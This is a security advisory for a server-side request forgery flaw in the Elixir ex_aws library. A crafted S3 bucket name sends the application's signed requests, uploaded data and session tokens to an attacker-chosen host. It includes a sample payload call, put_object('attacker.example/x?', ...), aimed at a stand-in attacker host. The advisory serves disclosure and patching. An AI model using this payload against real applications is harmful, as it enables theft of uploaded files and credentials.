Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application's signed S3 requests to a host of their choice.
With virtual_host: true, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as attacker.example/x? turns the request URL into https://attacker.example/x?.s3.amazonaws.com/key, so the request is signed for and sent to attacker.example. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With bucket_as_host: true the bucket is the whole hostname, so any valid hostname redirects the request.
This issue affects ex_aws: from 2.1.7 before 2.8.0.
1. Host construction. In the virtual_host: true clause of ExAws.Operation.S3.add_bucket_to_path/2, the request host becomes "#{bucket}.#{host}". In the virtual_host: true, bucket_as_host: true clause it becomes the bucket name itself. Neither clause checks the bucket name.
2. URL rendering and re-parsing. ExAws.Request.Url.build/2 places the host verbatim into a %URI{} and renders it with URI.to_string/1, which does not validate the host. Downstream code re-parses the string: ExAws.Auth.headers/6 signs URI.parse(url).authority, ExAws.Request.Url.sanitize/2 splits on the first ?, and hackney's parse_url/1 (or URI.parse/1 for the Req adapter) resolves the host. For the bucket attacker.example/x? all of them see the host attacker.example, the path /x and the query .s3.amazonaws.com/key.
3. Signed request to the attacker. The HTTP adapter connects to attacker.example and sends the fully signed request: the object body on uploads, the Authorization header with the access key id and SigV4 signature, and x-amz-security-token when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker's host, so it cannot be replayed against AWS.
virtual_host: true.ExAws.S3.put_object("attacker.example/x?", "report.pdf", body).add_bucket_to_path/2 sets the host to attacker.example/x?.s3.amazonaws.com, and ExAws.Request.Url.build/2 renders https://attacker.example/x?.s3.amazonaws.com/report.pdf.ExAws.Auth signs the host header as attacker.example, and hackney connects to attacker.example:443 with path /x and query .s3.amazonaws.com/report.pdf.ExAws.request/2 delivers the signed request, including the upload body and Authorization header, to attacker.example.An attacker who can choose the bucket name receives the application's signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected.
Reachable only when the S3 client is configured with virtual_host: true and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected.
Upgrading rejects bucket names containing characters that can change the request host. With bucket_as_host: true, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with bucket_as_host: true must also set the bucket_as_host_allowlist S3 config option to the list of trusted hostnames.
{
"capec_ids": [
"CAPEC-664"
],
"cpe_ids": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"cwe_ids": [
"CWE-918"
]
}